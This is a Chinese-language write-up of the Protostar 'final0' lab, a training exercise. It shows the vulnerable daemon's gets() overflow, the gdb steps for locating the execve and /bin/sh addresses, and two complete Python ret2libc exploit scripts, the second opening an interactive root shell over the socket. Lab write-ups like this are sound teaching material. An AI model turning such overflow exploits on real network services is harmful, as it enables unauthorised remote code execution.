Protostar final0 write-up

final0

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}

测试,运行final0,输入用户名,会返回大写的用户名是否存在信息

根据源码,buffer长度为512,溢出测试,长度为532时,覆盖返回信息

根据提示,存在/tmp/目录下一个core dump文件,使用gdb载入core dump

可以看到程序执行到eip时,因为buffer overflow造成segmentation falult

另一种方法,查看运行程序pid,加载到gdb中调试

开启另一个终端,发送测试,在gdb中并没有看到即时发送的数据

gdb中设置follow-fork-mode child

此时发送的测试数据就可以实时调试

使用ret2libc的方法,首先查看所有@plt方法

找到execve函数和地址0x08048c0c

找到exec函数后,还得确定/bin/sh字符串位置

在/lib/libc*中查找/bin/sh偏移相同

查找libc的起始地址,查看final0进程的maps,找到基址0xb7e97000

所以/bin/sh的位置就是 libc基址+offset

根据以上所有分析,就可以构造exploit

测试发现,若发送的socket数据超过buffer 512长度,会提示connection reset

发生此现象是因为client和server针对socket的长度协商不一致,需要精心构造padding内容和长度

编写exploit代码 final0.py

from socket import *
from struct import *

host = '127.0.0.1'
port = 2995

s = socket(AF_INET, SOCK_STREAM)
s.connect((host,port))

pad = 'a'*510+'\x00'+'b'*21
execve = pack("I", 0x08048c0c)
binsh = pack("I",0xb7e97000+1176511)
exp = pad + execve + "AAAA" + binsh + "\x00"*8

s.send(exp+'\n')
s.send("id\n")
print s.recv(1024)

代码中的四个A是程序ret address,不用关心,随便填充即可

执行测试

修改代码,添加telnetlib获取系统telnet命令执行权限

from socket import *
from struct import *
import telnetlib

host = '127.0.0.1'
port = 2995

s = socket(AF_INET, SOCK_STREAM)
s.connect((host,port))

pad = 'a'*510+'\x00'+'b'*21
execve = pack("I", 0x08048c0c)
binsh = pack("I",0xb7e97000+1176511)
exp = pad + execve + "AAAA" + binsh + "\x00"*8

s.send(exp+'\n')
s.send("id\n")
print s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.interact()

测试执行ok

测试在windows系统下,只需要修改host地址,也可以获取pwn成功

参考资料

https://www.freebuf.com/news/182894.html

http://www.pwntester.com/blog/2013/12/26/protostar-final0-3-write-ups/

https://old.liveoverflow.com/binary_hacking/protostar/final0.html

您可能还喜欢...